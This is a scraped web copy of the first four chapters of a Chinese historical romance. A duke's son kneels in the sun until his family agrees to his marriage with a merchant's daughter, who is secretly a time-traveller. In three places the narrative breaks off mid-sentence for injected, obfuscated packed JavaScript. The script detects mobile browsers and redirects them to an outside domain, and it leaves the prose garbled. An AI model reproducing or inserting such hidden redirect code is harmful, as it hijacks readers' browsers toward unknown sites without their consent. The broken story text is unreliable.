《小少爷又犯浑了》 1. 混账 蝉鸣夏燥,铄石流金。 火球儿似的太阳当空高悬,烤得草木牲畜全都无精打采,人也无精打采。 国公府里,主子们准备午歇,丫鬟婆子们不用伺候,趁机钻进下人房里躲着懒。 诺大的府邸静悄悄的,万物昏昏,恹恹欲睡。 忽然,一声怒喝打破了府中宁静—— “不行!我不同意!” 明哲堂里,向来持重的阮国公怒极拍案,瞪着面前与他对峙的逆子。 飞溅的笔墨染花了桌上即将完成的临帖,弄脏了地上名贵织金的地毯,还有一滴别出心裁,挂在了阮国公愤怒颤抖的胡须上。 “平日里你胡来也就罢了,只要不太出格,为父都能容忍。但这是婚姻大事,怎可儿戏?!”墨滴顺着胡须向下又滑了一段。 少年耳中听着父亲念经,目光却注视着那滴墨,心里默数:“一。” 阮国公见他不说话以为是听进去了,语气和缓两分:“之前永安侯府有意找人来说亲,你一句不喜,事便作罢,谁也没逼你。”胡尖颤动,墨滴摇摇欲坠。 “二。” “但你也不能太胡来吧!” “三!” 湿润的凉意落在唇边,阮国公下意识伸手去摸,还没弄清何故,就听见少年难以自抑的嗤嗤笑声。再一低头,四指黢黑。 阮国公大怒:“混账!” 面对父亲的暴怒,少年不惧不畏,仿佛早已见惯了似的。只见他转身拉开书房门,几步迈到院中央,而后一撩袍子,开口便让阮国公这半晌的苦口婆心化为泡影:“父亲不必再劝,此事我心意已决。父亲若不同意,我就跪在这里不起来。” “混账东西,我怎么养了你这么个不成器的儿子!”阮国公一副恨铁不成钢的模样,“好好好,你想跪就跪,最好去祠堂里跪着,让列祖列宗都看看,不肖子孙有多荒唐!” 阮国公被气得浑身冒汗胡子乱颤,不想再与他多费口舌,甩出一句:“总之我绝不会同意!”后便砰地合上了房门。 然而还没等安静下来,屋内又传来气急败坏的声音:“来人!打水!” 满院的下人们这才敢露头,却也一个个屏息凝神、缩着脑袋,只当自己是能走会动的木头人,生怕多做一个动作触了主子的霉头。 少年跪在烈日下,额头上很快便见了汗。但他不为所动,任由汗水汇聚流淌,大有一副不达目的誓不罢休的气势。 期间阮国公想出来,一推门看见他还跪在这儿,顿时又被气得堵回去。 父子俩就这么隔着一道门僵持着。 一个时辰。 两个时辰。 三个时辰。 …… 地上的影子被越拉越长,金乌西斜,霞光漫天。 火候差不多了。 少年终于侧目给身边小厮使眼色。 早已着急上火了大半日的小厮得此示意浑身一振,忙不迭地就往后院而去。 得了信儿的谢老夫人被丫鬟扶着,一路心急如焚。好不容易紧赶慢赶地到了前院,跨进院门便看见庭中跪着的身影,立时甩开丫鬟的手疾步上前,“这又是怎么了?” “祖母……”少年像是见到救星般抬眸哀唤。 这一声似小兽呜咽,含冤带泪,满腹的委屈和可怜。 谢老夫人的心立时就被叫软了一半。 低头再看,只见平日里丰神俊逸的小孙子此刻双目无光,形容憔悴,脸上还因暴晒而泛起一片不正常的酡红。 谢老夫人最见不得孙子这模样,剩下的一半也开始丢盔弃甲。“好端端的怎么又闹起来了!这么跪膝盖可怎么受得了哟……快快起来!” 少年面对祖母全没了中午对着父亲时的凛然和坚决,乖顺得像只只会撒娇的大猫。可怜兮兮的模样只惹人心疼,分毫生不出怒来。 就着谢老夫人的搀扶,少年手掌撑地想要站起。谁知他跪得太久,乍然起身膝盖根本受不住,刚爬起来就“咚”地一声又摔跪下去。 这一下摔得是结结实实,本就受伤的膝盖再被这么一磕,直接连跪都不能了。 谢老夫人心如刀绞,那声闷响仿佛不是砸在地板上,而是狠狠砸在了她的心上。连声哀呼:“大夫呢,快去找大夫!把小少爷抬回房去……” “我不回去!都不许碰我!”少年整个人狼狈地倒在地上,却仍就执拗地不肯让步。“父亲不答应,我就不回去!” 院子里闹成这样,阮国公也无法再坐视不理,推门冷哼:“你少来这套!有本事就一直跪着,真要能跪到海枯石烂,我就同意。” 眼看这父子两人谁也不让谁,话不投机又要掰。谢老夫人瞧瞧儿子,又看看孙子,夹在中间左右为难,最后哀叹一声,到底还是心疼孙子占了上风。 “商贾之女就商贾之女吧,他喜欢你就由着他呗。抬个人进来而已,哪家公子房里没个出身不高的美妾?何至于闹成这样,传出去叫人笑话!” 阮国公早在得知母亲来了时便暗道要糟,老太太心软护孙子一向是出了名了的。那小子定是算准了这一点才有今天这一出的。 但此事并非儿戏,阮国公态度依旧强硬,指着儿子恨声道:“他哪里是想纳妾?他是想要把人给娶回来呢!这要是同意了,那才真叫人笑话啊母亲!” “娶回来?”谢老夫人微怔,一时间也犯了愁。 她自是知道自家小孙子与乌家女的事,可也只当他是一时迷了心,想要将人收进房中。哪成想这小子动了真情,竟然想要娶她为妻。 堂堂国公府的嫡公子,娶一个商贾之女,成何体统? 少年似是猜出父亲和祖母心中所想,不服气道:“国公府的面子有大哥二哥撑着呢,我只是小儿子,任性一些又何妨?” 这么混账的话竟然被如此理直气壮地说出来,连阮国公都一时语噎了。 少年却还不肯罢休,“我从小就没娘,好不容易遇见了心爱的人,父亲却还要如此阻挠……” 一句话说得谢老夫人心中阵阵发酸,几乎要落下泪来,当下什么也不顾了,“行行行,你喜欢便依你就是!” “不行!”阮国公终于顺过气来,尤自强撑,“母亲,绝不能同意!” “来人,把这个逆子给我捆回房去。看着他不许出门!” “你们绑我也没用,有本事就绑我一辈子!反正我心意已决,非她不娶!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024068|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年与上来绑他的奴仆们扭打着,挣扎间扯到伤处,疼得龇牙咧嘴,连声高呼,“祖母,救命啊——祖母——” “把他的嘴堵上——” “你们敢!” “放肆!” “嘶——” “呜——” “呜呜呜呜呜……” 最终,这场交锋以小少爷被强行送回而暂告段落。 可紧接着,小厮来报,说小少爷绝食了! 阮国公那个头疼啊,天热得恼人,儿子还不省心,直呼这是养了个祖宗! 就这样,国公府里鸡飞狗跳地折腾了半个月,京中突然传出了阮国公府要与乌家结亲的消息。 消息刚出来时,因为太过匪夷,还被当做是讹传。 结果传着传着,大家发现这竟然是真的! 阮国公府带着礼物和媒人登了乌家的门。 再一瞧,乌家都开始备嫁了。 城里顿时热闹起来。上至王公贵族下到平民百姓,对于这桩亲事全都津津乐道。 盖因这乌家的出身虽不入流,但论起名气来却并不比国公府差。 乌氏祖上以厨技起家,鼎盛时名气誉满天下,而后辈又颇善经营。如今,京中泰半的酒楼食府都是乌家的产业。 可再有金山银山,那也只是个商人啊。如何配得上国公府这样的豪门贵胄。 于是各种匪夷的流言开始在坊间流传。 有人说是乌家祖传的秘菜有玄机,可令人食之难忘,日思夜想,进而倾心。也有人说是乌家小姐长得美,十数年藏于深闺不露面,为的就是一朝登台成大事。更有甚者,直接说那乌小姐是千年狐狸修成人,要不怎么能把久经风月的阮三公子都迷得神魂颠倒? 添油加醋、众说纷纭,转眼间八卦就已传出六七个版本。但说来道去,也总离不开公子佳人、志怪传说。 “听闻阮国公为了这事差点儿把阮三公子逐出门,从此再不认这个儿子。”帘幔轻垂的闺阁里,丫头们也在说着此事。 “不能吧。”有人不信,“谁不知道那小少爷是他家老夫人的心头肉,全府上下宠得什么似的,阮国公真能舍得?” “哎呀谁是要管这个,”同伴很是嫌弃地撇撇嘴,“重要的不该是阮公子痴情吗?简直就像是话本子里写的那样。” 有人又问:“你说这情是什么时候种下的?真是那日去灵竺寺?” “除此之外也想不到其他了。” “或许真是月老显灵也说不定。” 小丫头们七嘴八舌,“京中盛传阮三公子样貌英俊,肖似已故的阮国公夫人。那可是当年京城第一美人!” “而且还喜好风雅,诗词歌赋无一不精,是各大乐坊的座上宾……” 说话的人被人踩了脚,话音到这儿忽然戛然而止。 屋内霎时安静下来,只听见冰鉴里寒冰化水的叮咚声。 “咦?继续呀,还有什么?怎么都不说话了。”一直闲坐在美人榻上的少女出声道。 丫头们齐齐抬头,望向榻上之人—— 那正托着腮满脸好奇的,可不正是刚刚订下婚约,被传是狐狸精转世的乌家大姑娘,乌宝夕么。 2. 宝夕 闺房深处,妙龄少女倚窗而坐,单薄清瘦的身板掩映在影影绰绰的帷幔后,仿佛碧波里托起的一朵摇摇欲坠的莲。 丫头们你看看我,我看看你,最后推出一人来。是自幼便在乌宝夕身边伺候的流萤。 流萤瞧着自家姑娘,也不知怎么地,心里突然就泛起一丝哀愁来。 这样的情绪鲜少在流萤心中出现,她其实也弄不太清什么是难过,什么是忧愁。 流萤大多数时候都只关注眼前的事,比如花园里开了满园的花,她折到一支最大的,便开心。或是府里分解暑的西瓜,她们院里比平日多得了半个,便满足。又或者年节宴上,老夫人赞姑娘懂事,也是顶值得高兴的事。 只一件事,流萤每每想起,那些开心快乐便都会像云烟水雾一样迅速消散,沉甸甸的思绪裹上心头—— 府里的人都说,姑娘活不久。 起初,他们是说姑娘养不大的。 据府里的婆子们说,姑娘出生时早产加难产,在娘胎里憋了一天一夜才出来。猫儿似的小小一只,通身憋得青紫,没有气息。 本以为是个死胎,好在在场有个稳婆经验丰富,一通按压顺气,又狠下心朝婴儿屁股猛拍了几巴掌,终于听见一声微弱的啼哭。 姑娘算是保住了,但也九死一生保得凶险。 许是因为这先天的不足,打小起姑娘身体便一直不好,病怏怏的好似一个不留神就会去了。 所以才会这么多年足不出户养于深闺。可传到外人口中,这竟成了“所图深远”。 流萤实在替姑娘不平,宽慰道:“姑娘别在意,外面人不知实情,定是乱传的。” “是呀是呀。”一旁的知蝉连声附和。“姑娘全当是听个乐子。” 她们怕乌宝夕会为那些不着边际的流言的忧虑难过,极力安抚着。 殊不知流言歪打误撞,在乌宝夕的身上确实有些解释不清的异事,只不过她不是狐狸精转世,她是穿越了。 此刻被丫头们围着聊八卦的乌家大姑娘,虽然模样未变,但其实内里早已换了乾坤。 原来的乌宝夕不知去了何处,如今支掌她意识神思的是从遥远后世而来的灵魂。 她穿来已有月余,刚醒时头疼的厉害,脑海中各种支离破碎的记忆掺杂在一起,分不清梦境和现实。 大夫说她是磕到了头,意识不清,有失忆之症。 这倒帮她打了掩护,偶有反常之举都会被认为是失忆所致。 现在她伤已大好,也基本弄清了乌家各房的人员和关系,本以为可以安心过日子了,谁知一道婚约忽然砸下。 砸得乌府上下七荤八素。 只是对于乌家来说,砸下的是金饼。因而没有任何的犹豫和迟疑,立马便接着了,生怕迟了片刻阮国公府会反悔。 而对乌宝夕来说,就不知是福还是祸了。这才拉着丫头们去打听。 流言真真假假,也不知可信的到底有多少。丫头们怕她忧心,尽量只捡好的讲。 说阮国公府是开国七公中至今仅存的国公爵位,多少人争着抢着想要和他做亲家。姑娘嫁进去便是国公府少奶奶,日后说不得还会有诰命加身。 又说阮三公子丰神俊逸是难得一见的美男子,与他相配不会辱没姑娘的容色。 其实无论她们说什么,乌宝夕都只当是桩八卦在听,仿佛卷在流言中的另一人不是她一般。 她像一个旁观者,把穿越当成了一场沉浸式游戏体验。 既是游戏,那么管他阮少爷是真风流还是假情痴,只要她守住本心不动念,便能以不变应万变。 想通这一点,乌宝夕从美人榻上撑起身,扭头往窗外看了几眼。 几个丫头都是贴身伺候的,一见姑娘如此,哪能不知道她想的是什么。 流萤捂嘴轻笑:“姑娘饿了吧,奴婢这就去灶房提膳。” 被看破心中所想,乌宝夕略有些不好意思。不怪她嘴馋,实在是这乌府的厨子手艺太好。 刚开始,因她大病初愈身体虚,每顿送来的饭菜都很简单清淡。虽如此,但味道却也都非常鲜美。哪怕就是一道素炒时蔬,乌府的厨子都能做得有滋有味,每次吃都令她感慨连连。 往后随着她身体的日渐好转,菜色也愈发丰富多样起来。 自打穿越过来,乌宝夕每日最大的乐趣和期待就是吃饭。 午膳很快被拿了回来,不等流萤说,乌宝夕便已迫不及待地开口问道:“今天吃什么?” 丫头们现在都已经习惯了乌宝夕的“每顿一问”。 流萤快步走到桌前放下食盒,笑盈盈掀开盖子道:“姑娘自己看吧。” 菜还未端出,乌宝夕已经闻到了香味。 四个冷盘,四个热菜,外加粥和点心。 自打与阮国公府定下亲事,乌宝夕在乌家的生活质量明显提升了一大截。这倒不是说乌家从前亏待了她,毕竟以乌家的财力,供个姑娘吃穿根本不值一提。而是下人们伺候的精心程度截然不同了。 就比如这一道费时费功的开水白菜,换做以往是绝不可能出现在她的桌上的。 净手落座,乌宝夕举起筷子刚想要夹,却被流萤拦住,“今日柳婶特意嘱咐,姑娘要先空腹喝了这碗山药粥。” “有什么讲究?”乌宝夕不解,摆在她面前的不过是一碗毫不起眼的梗米粥。 “柳婶说这粥温补,最适合姑娘这样气虚体弱之人了,空腹吃才能发挥出最大的作用。” 乌宝夕端起碗来搅了搅,山药粥里面却并不见山药,看上去只是一碗粘稠的梗米粥。 舀起一勺入口,细尝倒是可以吃出丝丝山药的甘甜。粥的温度把握得刚刚好,不凉不烫,像一股暖流滑入胃中,十分熨帖。 一碗吃完,乌宝夕觉得通身顺畅,心中暗暗感叹这粥的神奇。 难道这就是所谓的药膳? 快要吃完的时候,门帘掀动,丫鬟进来通报说王妈妈来了。 年约五十的妇人随后走进来,一进门便先朝坐在桌前的乌宝夕歉意福身。“打扰姑娘用饭了。” “妈妈来得正是时候,正好用完了。”乌宝夕在王妈妈进来时便已经放下了筷子,抬手虚扶了她一把问道,“王妈妈这会儿过来,可是老夫人找我有什么事?” 王妈妈满脸挂笑:“倒也没什么,老夫人就说让大姑娘午后过去主院一趟。”一边说着,她目光不着痕迹地从桌上还没来得及撤下的碗碟上划过,眼眸中闪过一丝惊讶。 乌宝夕注意到她眼底的惊讶,暗道后宅里果然没有不透风的墙。她自以为原主从前在家中不受宠爱,身体不好又没了爹娘,是个被忽视的边缘人。 而今看来,哪怕她只是个可有可无的边缘人,一举一动也都是被注视着的。稍有改变就会被人留意。 想到这些乌宝夕心中不由泛起一丝悲哀来,感叹古往今来背负在女子身上的目光。 乌府主院 乌宝夕跟在王妈妈身后顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024069|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连廊往屋里走的时候,隐约可听见屋子里热闹的说话声。 越往前,声音愈发大起来,叽叽喳喳像是关了一屋子的黄鹂鸟。待到门帘掀开,丫鬟禀报说大姑娘到了,乌宝夕定睛一瞧,果然是桃红柳绿坐了满屋。 乌家老夫人卢氏端坐在主位上正喝茶,旁边坐着一位美妇人,笑容满面地正说着话。下方还围着三个年岁不一的姑娘。 “宝夕来啦。”率先出声的是卢老夫人身边的美妇人。 她生得一张稍显圆润的脸,笑起来眼睛弯成月牙,喜气盈腮的样子,是乌家二爷的夫人沈氏。在她左右的则是她膝下的三个姑娘。 “孙女给祖母请安,婶婶安好。”乌宝夕不急不缓地上前见礼。 “我瞧着大姑娘的气色,似是比之前好了不少,老太太您说呢?”沈氏上下打量了乌宝夕一圈,颇有些惊奇地说。 大姑娘身子不好,一贯深居简出,少与府中众人往来。从前大夫人在时,还不时带着她出来走动。三年前大夫人因病过世,大姑娘伤心过度大病一场,之后便跟个透明人一样,除了年节家宴,一般鲜少露面。 沈氏也很少见到她,印象深的还是在除夕的年夜饭上。 大姑娘带着丫鬟坐在小辈席中,冬日天冷,人人都穿得厚实,再裹上一层又一层的棉袄外套,瞧着跟个球儿似的。唯独大姑娘,明明穿着毛披风,却仍让人觉得单薄瘦弱得可怜。 沈氏当时感觉莫说一阵风,吹口气都能让她晃三分。宴席没结束,大姑娘便称身体不适先退了席。可眼下沈氏瞧着,大姑娘虽然还是清瘦体虚的样子,气色却是比除夕那会儿好了许多。 难道真是人逢喜事精神爽?沈氏心中暗想,继而又幽幽一叹—— 怎么这天大的好事偏偏就砸在了她身上呢? 低头再看坐在自己身旁的女儿,沈氏也只能感慨人各有命。 这边沈氏一念间心思百转。那边卢老夫人正朝乌宝夕招手,“来,快到祖母这儿来。” 卢老夫人六十有余,满头银发,但保养得甚好。面上虽有皱纹,却精神矍铄,一双眼睛透着精明。 乌宝夕乖巧上前,细声唤了句“祖母。” “好像的确是精神了一些。”卢老夫人拉着她的手,万分慈爱地细细打量。 乌家并未分家,虽然如今内宅之中是二夫人沈氏当家打理,但真正的掌权人还是卢老夫人。 “听王妈妈说你最近饭食用得不错,可是新换的厨子做菜合胃口?”卢老夫人关切道。 乌宝夕羞赧一笑:“多谢祖母关心。孙女近来确是感觉胃口比从前好了许多,也不知是不是那些健脾养胃的汤药终于起了效果。” “若真是有效那就接着再喝几服。”卢老夫人难得听到大姑娘说想吃东西,当下便让丫鬟去灶房里知会,往后大姑娘院里想吃什么喝什么都一应送去。 “看咱们老太太多疼大姑娘呀,大姑娘可要好好将养着身子,莫叫老太太操心。”闻听此言,沈氏笑盈盈地感叹。 于是乎少不得又是一番感谢祖母疼惜之类的场面话。 这一番诉衷情花费了不少时间,等到丫鬟进来换茶,老夫人松开拉住乌宝夕的手,敛了敛袖子,坐正身体。 卢老夫人终于说出她今日叫众人来的目的。 方才进来看见屋子里到的这么整齐的人员时,乌宝夕便猜到老夫人可能是有事要说。 但她没想到的是,这件事竟然是—— “选秀?!” 3. 贺礼 “选秀?!” 在场的几个姑娘听见卢老夫人的话几乎同时惊呼出声。 沈氏倒没有像她们那般大惊小怪,想必是已经提前知道了此事,只是眼中神色复杂。 卢老夫人道:“估计最近你们可能也听到了风声,朝廷准备选秀。” 最初的惊讶过去,几个姑娘反应不一。 乌宝夕骤然闻听此言,实打实地全是惊讶。 在她左边的乌云嫣却是不自觉地抿紧了唇,看来是之前有所耳闻。而她右侧方的乌云姝则低下头,看不清表情。至于屋内最小的乌云妙,年龄不过七八岁,选秀与她无甚关系,小脸上是纯纯的天真好奇。 “宫中许久没有选秀了,上一次大选咱们乌家还没有适龄可以参选的姑娘,这一次……” 这一次有三个。 但乌宝夕既已与阮国公府订下婚约,此番选秀乌家必不会让她去。 “咱们乌家靠手艺起家,如今家业是攒下了,但朝中无人,手里没权,到底是根基不稳。选秀是个机会,若是能一朝中选,入宫为妃,那对家族来说可是天大的荣耀。他日若再有幸诞下皇子,就真的是飞上枝头变凤凰了。” 老夫人分析利弊语重心长。 众人自然也明白她说的道理,从来女子命运与与家族休戚相关。家族荣耀,她们才能说一门好亲事嫁人。娘家有底气,有依傍,她们在夫家的日子也能好过一些。而娘家的荣耀有时也需要她们去争取。 乌老夫人褪去方才的慈和,神情变得严肃起来,“或许对于许多达官显贵来说,此时并非是送家里姑娘入宫的好时机。圣上年近不惑,膝下有皇子数位,其中最大的皇子已快到开府建衙的年纪。后宫之中更是高位众多,盘龙错杂。但于咱们而言,却是别无选择的赌命一搏。” 说到这里,老夫人不轻不重地叹了口气,“这也怪咱们家子嗣不丰呐,若能有几个扛得起家业的兄弟入朝为官,也不至于像现在这般,要把希望寄托在姑娘身上。” 此话一出,二夫人沈氏变了脸色,乌云嫣则攥紧了手中的锦帕。 “母亲不必如此忧心,姑娘们都是明理知孝的,必能理解母亲的苦心。”沈氏强颜劝慰道。 又说了一会儿话,众人散去。 等到最后一人的身影走出院门,王妈妈回到屋内,见卢老夫人捧着茶还坐在原处没动。 “奴婢方才瞧二夫人似乎是有些不高兴呢。” 卢老夫人哼了一声,“就是要敲打敲打她,老二今年也快四十了,还没个儿子。乌家好不容易积攒下来的家业莫不是就要断了?那我可怎么向乌家的列祖列宗交代哟!” “如何就断了。”王妈妈宽慰道,“二老爷和夫人还年轻,退一万步讲,不还有大少爷呢吗?” 提起这唯一的孙子,卢老夫人的脸上总算有了点笑意,但很快又被更深的忧虑所覆盖,“可谁知道他现在在哪儿呢……” 卢老夫人一生不为衣食钱帛所忧,行至暮年,最大的心头病便是子嗣。 乌老太爷与夫人一共有两个儿子。 大儿子乌延商,小儿子乌延儒。 原本,在乌老太爷的计划里,这两个儿子老大有头脑,老二擅人情。一个从商,接管家业;一个入仕,考取功名,再好不过。 谁知天不遂人愿。十年前大儿子意外亡故,小儿子苦读多年却只考中举人。 儿子不行,指望孙子。可偏偏小儿子成亲多年只有女儿,唯一的嫡孙还在三年前离家出走,至今下落不明。 这叫卢老夫人的心中如何不苦。 “今日等老二回来,你叫他来我这里一趟。”卢老夫人鼻息长吐,像是下定了什么决心。 王妈妈跟随卢老夫人多年,自然清楚她心中的忧虑,见状也知劝不过,只得应下。 另一边,乌宝夕从主院出来,心中还在想着选秀之事。听卢老夫人的意思,乌家这回是势在必得。只是不知会让乌云嫣和乌云姝谁去,又或者两人一起中选的几率更大些? 正想着,忽听身后有人唤她—— “大姐姐。” 身后,乌云嫣带着丫鬟亭亭而立,一身红裙在这盛暑骄阳下如同一团火焰。 流萤见状下意识地就往前跨了半步,俨然一副要把乌宝夕护在身后的架势。 殊不知她自己还是十三四岁的孩童模样呢,个头儿才刚过乌宝夕鼻尖,又哪里能有多少威慑力呢。 纵使原主留下的记忆只有零零散散的片段,但只从流萤的反应也可看出,从前在家中原主怕是没少被这个妹妹欺压。 “二妹妹有事?”乌宝夕淡淡道。 其实她有些不明白,乌云嫣是乌二爷嫡女,与原主是堂姐妹,按理说两人之间没有太多利害冲突。加之原主父母双亡,在乌家无势又无宠,应更加不会对她造成什么威胁。 为何这乌云嫣打小起便处处与原主不对付呢? 在原主的记忆里有一段是不知哪一年的上元节,因为她生病,母亲不让她出门,哥哥带给她一只荷花灯。她喜欢的不得了,结果被乌云嫣看见了,非要抢走。 她不愿意。 以往每当乌云嫣要抢她东西而她不情愿时,总是会被教导大的要让着小的。但其实她也不过只比乌云嫣大几个月罢了,她想不通,早出生难道是她的错吗? 于是这一次,她不想再去理会什么长幼相让、明理知事。她死死地攥着灯柄,就不相让。可乌云嫣还是把那只荷花灯抢走了,不仅抢走,还当着她的面踩烂了。 那是原主第一次反抗。她第一次大声地说了“不”。 然后,她知道了反抗的代价,从此后再无锋芒。 但乌宝夕不是原主。她淡定地等着眼前容貌与名字一般明艳的少女步步靠近,想看她又要作什么妖。 结果乌云嫣走到她跟前,盈盈拜下,开口却是一句:“从前许多事,都是妹妹不对,还请姐姐莫要怪罪。” 乌宝夕挑眉,咦?怎么不按常理出牌啊? 乌云嫣的反常让乌宝夕有些摸不着头脑,她一时还搞不清楚她这是玩的哪一出。 “姑娘,你说二姑娘今天是什么意思呀?”回到自己院中,关上门流萤便迫不及待地道。 “求和?”乌宝夕也有些不确定了。 其余几个留在房中的丫头听着这对话不明所以,流萤便将方才的事简单说了一遍。 几个丫头听罢一致认为:“不论如何姑娘还是要当心些。” “姑娘难道忘了前段时间受伤……”知蝉嘴快,一时没忍住说了不该说的话,幸好被旁边的燕归及时制止,没说完止住了。 否者这话传出去她们全都讨不了好。 可乌宝夕是真的忘了。关于原主之前是如何受的伤,又是因为什么而受伤,她一概不知,就像是断片儿了似的,记忆里一片空白。 府里的下人婆子们也全都缄口不言,显然是被人下了禁令。只是从她身边几个丫头的反应和时不时的意有所指猜测,似乎是与乌云嫣有关。 所以乌宝夕对她其实很提防。 难道是因为她的婚事?这便是权势地位带来的力量吗? 乌宝夕忍不住感叹。这阮国公府的威势还真是大啊!连带着她都能狐假虎威起来。 转眼进入七月,立秋后天气虽没有马上凉下来,却也不再似夏日那般燥热难耐。 七月初七。 一早起来,丫头们便轮番给乌宝夕道贺,吉祥话一句接一句,不带重样的,显然是商量好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024070|162220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了的。洗漱过后,又从衣箱里找出了四五身衣裳让她挑。 打眼瞧去一水儿的橙黄橘绿、浅碧轻红,与她平日里惯常的穿着十分不同。 “难得今天这么好的日子,姑娘当然要穿得鲜亮些。”流萤将衣裳一件件起来给她展示,“这些都是前些日子二夫人让人新做的,全是一等一的好料子,样式也是现在城里时新的。” 对于穿新衣裳,乌宝夕当然没意见。不仅没有,还非常乐意。只是她刚穿过来没多久,怕饮食起居上的习惯骤然大变会露馅儿,所以平日里的许多事,都是丫头们替她怎么安排她便怎么做。 “就这身吧。”乌宝夕挑了那件鹅黄配葱绿的齐胸襦裙,胸前系一根桔红飘带,极明快活泼的颜色。 衣裳换好,乌宝夕对着铜镜照了照,感觉心情也变得明快起来。 左右看看,乌宝夕挺满意,“就是这袖子也太大了,有些不方便。” “可是多美呀,又华丽又慵懒!”流言不认同,“奴婢听闻,现如今城中的贵女们就流行这个,都比着谁的袖子更大呢。” “反正姑娘要做什么叫奴婢们来就是了。” 乌宝夕又看看镜中,抛开不便这一点,确实是很美。 捧着一瓶新采的荷花进来换插瓶的鹿儿瞧见了,也连声赞道:“姑娘往后该多穿些鲜亮颜色的衣裳,显得气色又好又贵气。” 这一早上乌宝夕被她们这接二连三夸得简直快要找不到北了,“我看出来了,我今日不一人赏你们点儿什么,你们是不会罢休了。燕归,快去拿荷包来。” 丫头们齐齐笑,而后一人得了一只沉甸甸的大荷包。 上午太阳正好,燕归便带着几个丫头把房里的衣裳、被褥还有书全都翻出来搬到院中铺开晒。花花绿绿地铺了一院子,简直比摆摊还热闹。 院子中央还见缝插针地晒着一盆水,是从昨天夜里便放在那里的,只等今日被太阳晒后大家一起投针比巧。 乌宝夕看着她们忙里忙外,再瞧瞧自己的大袖子,忽又有些后悔起来—— 这么啰啰嗦嗦的不利索,到时可不是要比什么输什么? “不行不行,我得换件衣裳。”乌宝夕朝流萤道,“快帮我换回那件窄袖的来。” 流萤不应,其余丫头也都起哄。 “好哇,你们合起伙来想笑话我。” “奴婢们怎么会笑话姑娘呢?姑娘是最好的姑娘了!” 正闹着,忽听院门有响动。开门一瞧,是二夫人身边的人。 再过不久阮国公府就要来乌家过大礼了。这两日,乌家上下都在忙着这事。需要准备的东西多,事项也杂,沈氏顾不过来,便没让乌宝夕过去。 此刻看见她身边的婆子,乌宝夕以为是沈氏找她有事。刚想开口问呢,那婆子却先一步道:“阮国公府上送来了一份贺礼,说是给大姑娘的。” 贺礼? 阮国公府? 满院子的丫头全都一静。连乌宝夕自己也愣住。 今日是七夕,也是乌宝夕的生辰。 她生在七夕之夜,所以取名叫宝夕。 从前母亲还在世时生辰都是母亲给她过。三年前母亲去世,大哥出走,整个乌家便没人再关心哪天是她生辰了。都是丫头们张罗着,想法子给她热闹热闹。 乌宝夕诧异,连乌家都忘了的事,阮国公府竟然还会惦记? 紫檀雕花的印匣打开。 印池中央托着一枚金质鹊纽的四方小印。 旁边附了张细长诗笺,上面笔走龙蛇地题了一句秦观的《鹊桥仙》。 落款三个字—— 阮红尘。 啧。乌宝夕在心中暗叹了一声,好一个芙蓉暖帐,繁花团锦的名字。 4. 风流 乌宝夕对着那张诗笺端详了好一会儿。 淡红洒金的底色上,诗分两行,乍看下像鬼画桃符,仔细分辨才觉出妙来:用笔圆转,连绵飞动。她对书法没什么研究,看不出写字人习的是谁家风骨。只单瞧这字迹流露出的形韵,感到颇有浪漫之气。 相比于贺礼本身,这手书手写的诗笺似乎更能展现主人的性格。 丫头们却全都围着那金印,衣裳也不晒了,书也不翻了,四个人八双眼睛从不同的方向汇聚到一处。 乌宝夕放下诗笺看见几个丫头的模样,不由失笑道:“数清楚了吗?喜鹊身上有几根毛呀?” “姑娘又拿奴婢们打趣。”几个丫头佯作蹙眉却不羞恼,反是揶揄起她家姑娘来,“姑娘说阮三公子送这金印是为何意呀?” “人家不是说了嘛,生辰贺礼。”乌宝夕拎起那方丫头们围看了半天,金光闪闪的小印。刚一入手,便感到分量不轻,沉甸甸的一坨定是实心的! “贺礼是没错,但可送的东西那么多,偏偏就选了印,只怕是另有深意呢。”流萤道。 “许就是他随便看到库里有什么于是就送了,能有什么深意。”乌宝夕装傻胡扯。只是旁的东西她说这话也算过得去,可这印章—— 印面翻转,露出篆书阴刻的“宝夕”二字……怎么可能是库里随便翻来的?! 丫头们都看着她。乌宝夕无语,这脸打得也太干脆了! 鹿儿捂嘴偷笑:“这下姑娘可没话说了。” 知蝉还来添一把火,“我瞧这上面的喜鹊栩栩如生,想必铸造时是很费了一番功夫的。” 最后流萤一锤定音,“依奴婢们看,阮三公子送这贺礼来,便是等着姑娘进门掌家呢!” 这话一出丫头们顿时又笑起来。还在说呢,屋外传来一串脚步声。 乌宝夕忙止住众人话音,示意鹿儿出去看看。 鹿儿转身便往外去,才要开门,屋外响起少女清脆的声音,“大姐姐可在?” 